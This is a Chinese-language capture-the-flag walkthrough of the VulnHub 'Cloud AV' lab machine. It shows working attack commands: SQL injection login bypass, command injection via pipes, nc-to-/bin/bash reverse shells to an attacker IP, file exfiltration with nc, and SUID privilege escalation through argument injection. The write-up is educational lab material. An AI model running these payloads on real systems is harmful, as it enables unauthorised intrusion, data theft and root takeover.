0x02-VulnHub靶机-easy_cloudantivirus

环境

0x03

地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453

靶机用VMware打开扫不到主机

难度-> 低

内容

  • nc串联(管道符号的应用)
  • sql注入 进后台
  • 密码爆破 进后台
  • ssh爆破登录
  • suid提权
image-20240228131406046

操作

信息收集

arping 适用范围广

命令 for i in $(seq 1 254);do sudo arping -c 2 192.168.3.$i;done

然后再扫描端口 发现 22 8080

是个登录界面

image-20240228102546550

dirsearch扫出来/console

image-20240228102707876

爆破

先采取对 登录界面爆破 password 回显包长度不同

image-20240228102943411

sql注入

还有当我们输入 " 就会显示报错页面 输入的也有会回显出来 多了个"

image-20240228160040747

输入个SELECT version(); 说明拼接进去了 构造一下就可以注入了

image-20240228160508151
select * from code where password="  "   "          无法闭合  
select * from code where password="  " or 1=1--+  "  
这里我们是要登入到后台去  输入 "or 1=1--+  将后面内容注释  让这语句恒正确  就可以不用密码 直接进去

渗透

进去之后是一个这样的页面 很像 linux的 ls -all命令所展示出来的结果

image-20240228113617568

然后我输入一个文件给他扫描 有回显 可能他的逻辑是 杀毒软件 file 这个时候我们试试 | 接上命令

看能不能执行

image-20240228113607880

cat | id

image-20240228114758254

可以的 然后结合是python 环境 写一个python的反弹命令 //

因为可以执行 linux命令 我们可以用 which nc 看看有没有nc

这条命令 出不来 因为在有些linux发行版本 nc 不能够用-e

cat | nc 192.168.3.87 5689 -e /bin/sh

我们试试nc 能不能连接到 cat | nc 192.168.3.87 5689

image-20240228123514958

nc串联

启动两个端口监听

cat | nc 192.168.3.87 3332 |/bin/bash | nc 192.168.3.87 4443

image-20240228145153810

在3332这个端口输入东西会在4443这个端口回显

用户名密码爆破

发现有个database.sql文件,我们需要使用查询分析器运行脚本文件,我们直接执行一下看看,这里启动sqlite,并没有反应,我们使用nc将文件传输到本地中,在本地进行内容的读取

kali上 nc -lvvp 2233 >mao.sql

靶机shell上 nc -nv 192.168.3.87 2233 <database.sql

image-20240228150222575

启动sqlite3 打开导出的sql文件 .open mao.sql 提取东西 .dump 发现了四个密码

image-20240228150428482

myinvitecode123 mysecondinvitecode cloudavtech mostsecurescanner

结合前面开放的22端口 想到了可以用hydra爆破ssh

这个时候再到shell上面去查看有哪些用户 cat /etc/passwd

找有bash的 root cloudav scanner

image-20240228150834413

很遗憾 爆破没成功 但是这是一种很重要的思路

image-20240228151356563

继续收集 提权

看看能不能suid =>find / -perm -u=s -type f 2>/dev/null

发现这个 一看就是后面下载的 给的suid权限

image-20240228151953873

然后切到 这个目录去看看

image-20240228154215224

update_cloudav 肯定是 update_cloudav.c 编译的 去看看update_cloudav.c代码

image-20240228154600033

可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:

./update_cloudav "a |nc 192.168.3.87 6667 |/bin/bash|nc 192.168.3.87 7778"

image-20240228155255808

直接拿到root

总结

nc串联

nc -e 参数用不了的时候

Linux 中,竖线符号 |(管道符号)用于将一个命令的输出传递给另一个命令作为输入。这种功能被称为“管道”(pipeline),允许用户将多个命令连接在一起,实现更复杂的操作。

例如,您可以使用 | 符号来连接两个命令,将第一个命令的输出作为第二个命令的输入

nc 192.168.3.87 3332 |/bin/bash | nc 192.168.3.87 4443

​ 第一个 3332端口的连接后续输入所有的指令 都会通过管道发送给bin/bash 去解析 而解析的结果通过另外一个管道发送给第二个4443端口的连接

sql

拿到shell后 sql文件肯定是要看的